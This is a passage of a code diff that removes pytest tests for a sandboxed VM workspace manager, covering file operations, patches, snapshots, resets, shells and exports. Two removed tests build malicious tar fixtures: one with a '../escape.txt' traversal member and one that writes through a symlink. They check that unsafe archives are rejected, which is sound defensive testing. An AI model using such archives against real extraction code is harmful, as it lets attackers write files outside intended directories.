manager.list_workspace_files(workspace_id, path="src", recursive=True) - assert listing["entries"] == [ - { - "path": "/workspace/src/app.py", - "artifact_type": "file", - "size_bytes": 13, - "link_target": None, - } - ] - - status_before_read = manager.status_workspace(workspace_id) - read_payload = manager.read_workspace_file(workspace_id, "src/app.py") - assert read_payload["content"] == 'print("bug")\n' - status_after_read = manager.status_workspace(workspace_id) - assert float(status_after_read["last_activity_at"]) == float( - status_before_read["last_activity_at"] - ) - - written = manager.write_workspace_file( - workspace_id, - "src/generated/out.txt", - text="generated\n", - ) - assert written["bytes_written"] == 10 - - patch_payload = manager.apply_workspace_patch( - workspace_id, - patch=( - "--- a/src/app.py\n" - "+++ b/src/app.py\n" - "@@ -1 +1 @@\n" - '-print("bug")\n' - '+print("fixed")\n' - "--- /dev/null\n" - "+++ b/src/new.py\n" - "@@ -0,0 +1 @@\n" - '+print("new")\n' - ), - ) - assert patch_payload["changed"] is True - assert patch_payload["summary"] == { - "total": 2, - "added": 1, - "modified": 1, - "deleted": 0, - } - - executed = manager.exec_workspace( - workspace_id, - command="python3 src/app.py && cat src/new.py && cat src/generated/out.txt", - timeout_seconds=30, - ) - assert executed["stdout"] == 'fixed\nprint("new")\ngenerated\n' - - diff_payload = manager.diff_workspace(workspace_id) - assert diff_payload["changed"] is True - assert diff_payload["summary"]["added"] == 2 - assert diff_payload["summary"]["modified"] == 1 - - output_path = tmp_path / "exported-app.py" - export_payload = manager.export_workspace( - workspace_id, - path="src/app.py", - output_path=output_path, - ) - assert export_payload["artifact_type"] == "file" - assert output_path.read_text(encoding="utf-8") == 'print("fixed")\n' - - -def test_workspace_export_directory_uses_exact_output_path(tmp_path: Path) -> None: - seed_dir = tmp_path / "seed" - nested_dir = seed_dir / "src" - nested_dir.mkdir(parents=True) - (nested_dir / "note.txt").write_text("hello\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - )["workspace_id"] - ) - - output_dir = tmp_path / "exported-src" - payload = manager.export_workspace(workspace_id, path="src", output_path=output_dir) - assert payload["artifact_type"] == "directory" - assert (output_dir / "note.txt").read_text(encoding="utf-8") == "hello\n" - assert not (output_dir / "src").exists() - - -def test_workspace_diff_requires_create_time_baseline(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" - baseline_path.unlink() - - with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): - manager.diff_workspace(workspace_id) - - -def test_workspace_snapshots_and_reset_round_trip(tmp_path: Path) -> None: - seed_dir = tmp_path / "seed" - seed_dir.mkdir() - (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - )["workspace_id"] - ) - - manager.exec_workspace( - workspace_id, - command="printf 'checkpoint\\n' > note.txt", - timeout_seconds=30, - ) - created_snapshot = manager.create_snapshot(workspace_id, "checkpoint") - assert created_snapshot["snapshot"]["snapshot_name"] == "checkpoint" - - listed = manager.list_snapshots(workspace_id) - assert listed["count"] == 2 - assert [snapshot["snapshot_name"] for snapshot in listed["snapshots"]] == [ - "baseline", - "checkpoint", - ] - - manager.exec_workspace( - workspace_id, - command="printf 'after\\n' > note.txt", - timeout_seconds=30, - ) - manager.start_service( - workspace_id, - "app", - command="sh -lc 'touch .ready; while true; do sleep 60; done'", - readiness={"type": "file", "path": ".ready"}, - ) - - reset_to_snapshot = manager.reset_workspace(workspace_id, snapshot="checkpoint") - assert reset_to_snapshot["workspace_reset"]["snapshot_name"] == "checkpoint" - assert reset_to_snapshot["reset_count"] == 1 - assert reset_to_snapshot["last_command"] is None - assert reset_to_snapshot["command_count"] == 0 - assert reset_to_snapshot["service_count"] == 0 - assert reset_to_snapshot["running_service_count"] == 0 - - checkpoint_result = manager.exec_workspace( - workspace_id, - command="cat note.txt", - timeout_seconds=30, - ) - assert checkpoint_result["stdout"] == "checkpoint\n" - logs_after_snapshot_reset = manager.logs_workspace(workspace_id) - assert logs_after_snapshot_reset["count"] == 1 - - reset_to_baseline = manager.reset_workspace(workspace_id) - assert reset_to_baseline["workspace_reset"]["snapshot_name"] == "baseline" - assert reset_to_baseline["reset_count"] == 2 - assert reset_to_baseline["command_count"] == 0 - assert reset_to_baseline["service_count"] == 0 - assert manager.logs_workspace(workspace_id)["count"] == 0 - - baseline_result = manager.exec_workspace( - workspace_id, - command="cat note.txt", - timeout_seconds=30, - ) - assert baseline_result["stdout"] == "seed\n" - diff_payload = manager.diff_workspace(workspace_id) - assert diff_payload["changed"] is False - - deleted_snapshot = manager.delete_snapshot(workspace_id, "checkpoint") - assert deleted_snapshot["deleted"] is True - listed_after_delete = manager.list_snapshots(workspace_id) - assert [snapshot["snapshot_name"] for snapshot in listed_after_delete["snapshots"]] == [ - "baseline" - ] - - -def test_workspace_snapshot_and_reset_require_baseline(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" - baseline_path.unlink() - - with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): - manager.list_snapshots(workspace_id) - with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): - manager.create_snapshot(workspace_id, "checkpoint") - with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): - manager.delete_snapshot(workspace_id, "checkpoint") - with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): - manager.reset_workspace(workspace_id) - - -def test_workspace_delete_baseline_snapshot_is_rejected(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - - with pytest.raises(ValueError, match="cannot delete the baseline snapshot"): - manager.delete_snapshot(workspace_id, "baseline") - - -def test_workspace_reset_recreates_stopped_workspace(tmp_path: Path) -> None: - seed_dir = tmp_path / "seed" - seed_dir.mkdir() - (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - )["workspace_id"] - ) - - with manager._lock: # noqa: SLF001 - workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 - workspace.state = "stopped" - workspace.firecracker_pid = None - manager._save_workspace_locked(workspace) # noqa: SLF001 - - reset_payload = manager.reset_workspace(workspace_id) - - assert reset_payload["state"] == "started" - assert reset_payload["workspace_reset"]["snapshot_name"] == "baseline" - result = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) - assert result["stdout"] == "seed\n" - - -def test_workspace_reset_failure_leaves_workspace_stopped(tmp_path: Path) -> None: - seed_dir = tmp_path / "seed" - seed_dir.mkdir() - (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=seed_dir, - )["workspace_id"] - ) - manager.create_snapshot(workspace_id, "checkpoint") - - def _failing_import_archive(*args: Any, **kwargs: Any) -> dict[str, Any]: - del args, kwargs - raise RuntimeError("boom") - - manager._backend.import_archive = _failing_import_archive # type: ignore[method-assign] # noqa: SLF001 - - with pytest.raises(RuntimeError, match="boom"): - manager.reset_workspace(workspace_id, snapshot="checkpoint") - - with manager._lock: # noqa: SLF001 - workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 - assert workspace.state == "stopped" - assert workspace.firecracker_pid is None - assert workspace.reset_count == 0 - - listed = manager.list_snapshots(workspace_id) - assert [snapshot["snapshot_name"] for snapshot in listed["snapshots"]] == [ - "baseline", - "checkpoint", - ] - - -def test_workspace_export_helpers_preserve_directory_symlinks(tmp_path: Path) -> None: - workspace_dir = tmp_path / "workspace" - workspace_dir.mkdir() - (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") - os.symlink("note.txt", workspace_dir / "note-link") - (workspace_dir / "empty-dir").mkdir() - - archive_path = tmp_path / "workspace-export.tar" - exported = vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 - workspace_dir=workspace_dir, - workspace_path=".", - archive_path=archive_path, - ) - - assert exported.artifact_type == "directory" - - output_dir = tmp_path / "output" - extracted = vm_manager_module._extract_workspace_export_archive( # noqa: SLF001 - archive_path, - output_path=output_dir, - artifact_type="directory", - ) - - assert extracted["artifact_type"] == "directory" - assert (output_dir / "note.txt").read_text(encoding="utf-8") == "hello\n" - assert (output_dir / "note-link").is_symlink() - assert os.readlink(output_dir / "note-link") == "note.txt" - assert (output_dir / "empty-dir").is_dir() - - -def test_workspace_export_helpers_validate_missing_path_and_existing_output(tmp_path: Path) -> None: - workspace_dir = tmp_path / "workspace" - workspace_dir.mkdir() - (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") - - with pytest.raises(RuntimeError, match="workspace path does not exist"): - vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 - workspace_dir=workspace_dir, - workspace_path="missing.txt", - archive_path=tmp_path / "missing.tar", - ) - - archive_path = tmp_path / "note-export.tar" - exported = vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 - workspace_dir=workspace_dir, - workspace_path="note.txt", - archive_path=archive_path, - ) - output_path = tmp_path / "note.txt" - output_path.write_text("already here\n", encoding="utf-8") - with pytest.raises(RuntimeError, match="output_path already exists"): - vm_manager_module._extract_workspace_export_archive( # noqa: SLF001 - archive_path, - output_path=output_path, - artifact_type=exported.artifact_type, - ) - - -def test_diff_workspace_trees_reports_empty_binary_symlink_and_type_changes(tmp_path: Path) -> None: - baseline_dir = tmp_path / "baseline" - current_dir = tmp_path / "current" - baseline_dir.mkdir() - current_dir.mkdir() - - (baseline_dir / "modified.txt").write_text("before\n", encoding="utf-8") - (current_dir / "modified.txt").write_text("after\n", encoding="utf-8") - - (baseline_dir / "deleted.txt").write_text("gone\n", encoding="utf-8") - (current_dir / "added.txt").write_text("new\n", encoding="utf-8") - - (baseline_dir / "binary.bin").write_bytes(b"\x00before") - (current_dir / "binary.bin").write_bytes(b"\x00after") - - os.symlink("link-target-old.txt", baseline_dir / "link") - os.symlink("link-target-new.txt", current_dir / "link") - - (baseline_dir / "swap").mkdir() - (current_dir / "swap").write_text("type changed\n", encoding="utf-8") - - (baseline_dir / "removed-empty").mkdir() - (current_dir / "added-empty").mkdir() - - diff_payload = vm_manager_module._diff_workspace_trees( # noqa: SLF001 - baseline_dir, - current_dir, - ) - - assert diff_payload["changed"] is True - assert diff_payload["summary"] == { - "total": 8, - "added": 2, - "modified": 3, - "deleted": 2, - "type_changed": 1, - "text_patched": 3, - "non_text": 5, - } - assert "--- a/modified.txt" in diff_payload["patch"] - assert "+++ b/modified.txt" in diff_payload["patch"] - assert "--- /dev/null" in diff_payload["patch"] - assert "+++ b/added.txt" in diff_payload["patch"] - assert "--- a/deleted.txt" in diff_payload["patch"] - assert "+++ /dev/null" in diff_payload["patch"] - entries = {entry["path"]: entry for entry in diff_payload["entries"]} - assert entries["binary.bin"]["text_patch"] is None - assert entries["link"]["artifact_type"] == "symlink" - assert entries["swap"]["artifact_type"] == "file" - assert entries["removed-empty"]["artifact_type"] == "directory" - assert entries["added-empty"]["artifact_type"] == "directory" - - -def test_diff_workspace_trees_unchanged_returns_empty_summary(tmp_path: Path) -> None: - baseline_dir = tmp_path / "baseline" - current_dir = tmp_path / "current" - baseline_dir.mkdir() - current_dir.mkdir() - (baseline_dir / "note.txt").write_text("same\n", encoding="utf-8") - (current_dir / "note.txt").write_text("same\n", encoding="utf-8") - - diff_payload = vm_manager_module._diff_workspace_trees( # noqa: SLF001 - baseline_dir, - current_dir, - ) - - assert diff_payload == { - "changed": False, - "summary": { - "total": 0, - "added": 0, - "modified": 0, - "deleted": 0, - "type_changed": 0, - "text_patched": 0, - "non_text": 0, - }, - "entries": [], - "patch": "", - } - - -def test_workspace_shell_lifecycle_and_rehydration(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - - opened = manager.open_shell(workspace_id) - shell_id = str(opened["shell_id"]) - assert opened["state"] == "running" - - manager.write_shell(workspace_id, shell_id, input_text="pwd") - - output = "" - deadline = time.time() + 5 - while time.time() < deadline: - read = manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) - output = str(read["output"]) - if "/workspace" in output: - break - time.sleep(0.05) - assert "/workspace" in output - - manager_rehydrated = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - second_opened = manager_rehydrated.open_shell(workspace_id) - second_shell_id = str(second_opened["shell_id"]) - assert second_shell_id != shell_id - - manager_rehydrated.write_shell(workspace_id, second_shell_id, input_text="printf 'ok\\n'") - second_output = "" - deadline = time.time() + 5 - while time.time() < deadline: - read = manager_rehydrated.read_shell( - workspace_id, - second_shell_id, - cursor=0, - max_chars=65536, - ) - second_output = str(read["output"]) - if "ok" in second_output: - break - time.sleep(0.05) - assert "ok" in second_output - - logs = manager.logs_workspace(workspace_id) - assert logs["count"] == 0 - - closed = manager.close_shell(workspace_id, shell_id) - assert closed["closed"] is True - with pytest.raises(ValueError, match="does not exist"): - manager.read_shell(workspace_id, shell_id) - - deleted = manager.delete_workspace(workspace_id) - assert deleted["deleted"] is True - with pytest.raises(ValueError, match="does not exist"): - manager_rehydrated.read_shell(workspace_id, second_shell_id) - - -def test_workspace_read_shell_plain_renders_control_sequences( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - opened = manager.open_shell(workspace_id) - shell_id = str(opened["shell_id"]) - - monkeypatch.setattr( - manager._backend, # noqa: SLF001 - "read_shell", - lambda *args, **kwargs: { - "shell_id": shell_id, - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "running", - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "host_compat", - "cursor": 0, - "next_cursor": 15, - "output": "hello\r\x1b[2Kbye\n", - "truncated": False, - }, - ) - - read = manager.read_shell( - workspace_id, - shell_id, - cursor=0, - max_chars=1024, - plain=True, - ) - - assert read["output"] == "bye\n" - assert read["plain"] is True - assert read["wait_for_idle_ms"] is None - - -def test_workspace_read_shell_wait_for_idle_batches_output( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - opened = manager.open_shell(workspace_id) - shell_id = str(opened["shell_id"]) - - payloads = [ - { - "shell_id": shell_id, - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "running", - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "host_compat", - "cursor": 0, - "next_cursor": 4, - "output": "one\n", - "truncated": False, - }, - { - "shell_id": shell_id, - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "running", - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "host_compat", - "cursor": 4, - "next_cursor": 8, - "output": "two\n", - "truncated": False, - }, - { - "shell_id": shell_id, - "cwd": "/workspace", - "cols": 120, - "rows": 30, - "state": "running", - "started_at": 1.0, - "ended_at": None, - "exit_code": None, - "execution_mode": "host_compat", - "cursor": 8, - "next_cursor": 8, - "output": "", - "truncated": False, - }, - ] - - def fake_read_shell(*args: Any, **kwargs: Any) -> dict[str, Any]: - del args, kwargs - return payloads.pop(0) - - monotonic_values = iter([0.0, 0.05, 0.10, 0.41]) - monkeypatch.setattr(manager._backend, "read_shell", fake_read_shell) # noqa: SLF001 - monkeypatch.setattr(time, "monotonic", lambda: next(monotonic_values)) - monkeypatch.setattr(time, "sleep", lambda _: None) - - read = manager.read_shell( - workspace_id, - shell_id, - cursor=0, - max_chars=1024, - wait_for_idle_ms=300, - ) - - assert read["output"] == "one\ntwo\n" - assert read["next_cursor"] == 8 - assert read["wait_for_idle_ms"] == 300 - assert read["plain"] is False - - -def test_workspace_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: - archive_path = tmp_path / "bad.tgz" - with tarfile.open(archive_path, "w:gz") as archive: - payload = b"bad\n" - info = tarfile.TarInfo(name="../escape.txt") - info.size = len(payload) - archive.addfile(info, io.BytesIO(payload)) - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - with pytest.raises(RuntimeError, match="unsafe archive member path"): - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=archive_path, - ) - assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] - - -def test_workspace_create_rejects_archive_that_writes_through_symlink(tmp_path: Path) -> None: - archive_path = tmp_path / "bad-symlink.tgz" - with tarfile.open(archive_path, "w:gz") as archive: - symlink_info = tarfile.TarInfo(name="linked") - symlink_info.type = tarfile.SYMTYPE - symlink_info.linkname = "outside" - archive.addfile(symlink_info) - - payload = b"bad\n" - file_info = tarfile.TarInfo(name="linked/note.txt") - file_info.size = len(payload) - archive.addfile(file_info, io.BytesIO(payload)) - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - with pytest.raises(RuntimeError, match="traverse through a symlinked path"): - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=archive_path, - ) - - -def test_workspace_create_cleans_up_on_seed_failure( - tmp_path: Path, monkeypatch: pytest.MonkeyPatch -) -> None: - source_dir = tmp_path / "seed" - source_dir.mkdir() - (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") - - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - def _boom(*args: Any, **kwargs: Any) -> dict[str, Any]: - del args, kwargs - raise RuntimeError("seed import failed") - - monkeypatch.setattr(manager._backend, "import_archive", _boom) # noqa: SLF001 - - with pytest.raises(RuntimeError, match="seed import failed"): - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=source_dir, - ) - - assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] - - -def test_workspace_rehydrates_across_manager_processes(tmp_path: Path) -> None: - base_dir = tmp_path / "vms" - manager = VmManager( - backend_name="mock", - base_dir=base_dir, - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - - other = VmManager( - backend_name="mock", - base_dir=base_dir, - network_manager=TapNetworkManager(enabled=False), - ) - executed = other.exec_workspace(workspace_id, command="printf 'ok\\n'", timeout_seconds=30) - assert executed["exit_code"] == 0 - assert executed["stdout"] == "ok\n" - - logs = other.logs_workspace(workspace_id) - assert logs["count"] == 1 - - -def test_workspace_requires_started_state(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["state"] = "stopped" - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - with pytest.raises(RuntimeError, match="must be in 'started' state"): - manager.exec_workspace(workspace_id, command="true", timeout_seconds=30) - - def test_vm_manager_firecracker_backend_path( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: @@ -1669,1842 +283,3 @@ def test_vm_manager_firecracker_backend_path( network_manager=TapNetworkManager(enabled=False), ) assert manager._backend_name == "firecracker" # noqa: SLF001 - - -def test_firecracker_backend_start_removes_stale_socket_files( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - backend = cast(Any, object.__new__(vm_manager_module.FirecrackerBackend)) - backend._environment_store = object() # noqa: SLF001 - backend._firecracker_bin = tmp_path / "firecracker" # noqa: SLF001 - backend._jailer_bin = tmp_path / "jailer" # noqa: SLF001 - backend._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=False, - reason=None, - ) - backend._network_manager = TapNetworkManager(enabled=False) # noqa: SLF001 - backend._guest_exec_client = None # noqa: SLF001 - backend._processes = {} # noqa: SLF001 - - backend._firecracker_bin.write_text("fc", encoding="utf-8") # noqa: SLF001 - backend._jailer_bin.write_text("jailer", encoding="utf-8") # noqa: SLF001 - kernel_image = tmp_path / "vmlinux" - kernel_image.write_text("kernel", encoding="utf-8") - rootfs_image = tmp_path / "rootfs.ext4" - rootfs_image.write_bytes(b"rootfs") - - workdir = tmp_path / "runtime" - workdir.mkdir() - firecracker_socket = workdir / "firecracker.sock" - vsock_socket = workdir / "vsock.sock" - firecracker_socket.write_text("stale firecracker socket", encoding="utf-8") - vsock_socket.write_text("stale vsock socket", encoding="utf-8") - - class DummyPopen: - def __init__(self, *args: Any, **kwargs: Any) -> None: - del args, kwargs - self.pid = 4242 - - def poll(self) -> None: - return None - - monkeypatch.setattr( - cast(Any, vm_manager_module).subprocess, - "run", - lambda *args, **kwargs: subprocess.CompletedProcess( # noqa: ARG005 - args=args[0], - returncode=0, - stdout="Firecracker v1.0.0\n", - stderr="", - ), - ) - monkeypatch.setattr(cast(Any, vm_manager_module).subprocess, "Popen", DummyPopen) - - instance = vm_manager_module.VmInstance( - vm_id="abcd1234", - environment="debian:12", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - created_at=time.time(), - expires_at=time.time() + 600, - workdir=workdir, - metadata={ - "kernel_image": str(kernel_image), - "rootfs_image": str(rootfs_image), - }, - ) - - backend.start(instance) - - assert instance.firecracker_pid == 4242 - assert not firecracker_socket.exists() - assert not vsock_socket.exists() - - -def test_vm_manager_fails_closed_without_host_compat_opt_in(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - vm_id = str( - manager.create_vm( - environment="debian:12-base", - ttl_seconds=600, - )["vm_id"] - ) - - with pytest.raises(RuntimeError, match="guest boot is unavailable"): - manager.start_vm(vm_id) - - -def test_vm_manager_uses_canonical_default_cache_dir( - monkeypatch: pytest.MonkeyPatch, tmp_path: Path -) -> None: - monkeypatch.setenv("PYRO_ENVIRONMENT_CACHE_DIR", str(tmp_path / "cache")) - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - assert manager._environment_store.cache_dir == tmp_path / "cache" # noqa: SLF001 - - -def test_vm_manager_helper_round_trips() -> None: - network = NetworkConfig( - vm_id="abc123", - tap_name="tap0", - guest_ip="172.29.1.2", - gateway_ip="172.29.1.1", - subnet_cidr="172.29.1.0/24", - mac_address="06:00:aa:bb:cc:dd", - dns_servers=("1.1.1.1", "8.8.8.8"), - ) - - assert vm_manager_module._optional_int(None) is None # noqa: SLF001 - assert vm_manager_module._optional_int(True) == 1 # noqa: SLF001 - assert vm_manager_module._optional_int(7) == 7 # noqa: SLF001 - assert vm_manager_module._optional_int(7.2) == 7 # noqa: SLF001 - assert vm_manager_module._optional_int("9") == 9 # noqa: SLF001 - with pytest.raises(TypeError, match="integer-compatible"): - vm_manager_module._optional_int(object()) # noqa: SLF001 - - assert vm_manager_module._optional_str(None) is None # noqa: SLF001 - assert vm_manager_module._optional_str(1) == "1" # noqa: SLF001 - assert vm_manager_module._optional_dict(None) is None # noqa: SLF001 - assert vm_manager_module._optional_dict({"x": 1}) == {"x": 1} # noqa: SLF001 - with pytest.raises(TypeError, match="dictionary payload"): - vm_manager_module._optional_dict("bad") # noqa: SLF001 - assert vm_manager_module._string_dict({"x": 1}) == {"x": "1"} # noqa: SLF001 - assert vm_manager_module._string_dict("bad") == {} # noqa: SLF001 - - serialized = vm_manager_module._serialize_network(network) # noqa: SLF001 - assert serialized is not None - restored = vm_manager_module._deserialize_network(serialized) # noqa: SLF001 - assert restored == network - assert vm_manager_module._deserialize_network(None) is None # noqa: SLF001 - with pytest.raises(TypeError, match="dictionary payload"): - vm_manager_module._deserialize_network("bad") # noqa: SLF001 - - assert vm_manager_module._wrap_guest_command("echo hi") == "echo hi" # noqa: SLF001 - wrapped = vm_manager_module._wrap_guest_command("echo hi", cwd="/workspace") # noqa: SLF001 - assert "cd /workspace" in wrapped - assert vm_manager_module._pid_is_running(None) is False # noqa: SLF001 - - -def test_copy_rootfs_falls_back_to_copy2( - tmp_path: Path, monkeypatch: pytest.MonkeyPatch -) -> None: - source = tmp_path / "rootfs.ext4" - source.write_text("payload", encoding="utf-8") - dest = tmp_path / "dest" / "rootfs.ext4" - - def _raise_oserror(*args: Any, **kwargs: Any) -> Any: - del args, kwargs - raise OSError("no cp") - - monkeypatch.setattr(subprocess, "run", _raise_oserror) - - clone_mode = vm_manager_module._copy_rootfs(source, dest) # noqa: SLF001 - assert clone_mode == "copy2" - assert dest.read_text(encoding="utf-8") == "payload" - - -def test_workspace_create_cleans_up_on_start_failure( - tmp_path: Path, monkeypatch: pytest.MonkeyPatch -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - def _boom(instance: Any) -> None: - del instance - raise RuntimeError("boom") - - monkeypatch.setattr(manager._backend, "start", _boom) # noqa: SLF001 - - with pytest.raises(RuntimeError, match="boom"): - manager.create_workspace(environment="debian:12-base", allow_host_compat=True) - - assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] - - -def test_exec_instance_wraps_guest_workspace_command(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=False, - reason=None, - ) - captured: dict[str, Any] = {} - - class StubBackend: - def exec( - self, - instance: Any, - command: str, - timeout_seconds: int, - *, - workdir: Path | None = None, - ) -> vm_manager_module.VmExecResult: - del instance, timeout_seconds - captured["command"] = command - captured["workdir"] = workdir - return vm_manager_module.VmExecResult( - stdout="", - stderr="", - exit_code=0, - duration_ms=1, - ) - - manager._backend = StubBackend() # type: ignore[assignment] # noqa: SLF001 - instance = vm_manager_module.VmInstance( # noqa: SLF001 - vm_id="vm-123", - environment="debian:12-base", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - created_at=time.time(), - expires_at=time.time() + 600, - workdir=tmp_path / "runtime", - state="started", - ) - result, execution_mode = manager._exec_instance( # noqa: SLF001 - instance, - command="echo hi", - timeout_seconds=30, - guest_cwd="/workspace", - ) - assert result.exit_code == 0 - assert execution_mode == "unknown" - assert "cd /workspace" in str(captured["command"]) - assert captured["workdir"] is None - - -def test_status_workspace_marks_dead_backing_process_stopped(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["metadata"]["execution_mode"] = "guest_vsock" - payload["firecracker_pid"] = 999999 - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - status = manager.status_workspace(workspace_id) - assert status["state"] == "stopped" - updated_payload = json.loads(workspace_path.read_text(encoding="utf-8")) - assert "backing guest process" in str(updated_payload.get("last_error", "")) - - -def test_reap_expired_workspaces_removes_invalid_and_expired_records(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - invalid_dir = tmp_path / "vms" / "workspaces" / "invalid" - invalid_dir.mkdir(parents=True) - (invalid_dir / "workspace.json").write_text("[]", encoding="utf-8") - - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["expires_at"] = 0.0 - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - with manager._lock: # noqa: SLF001 - 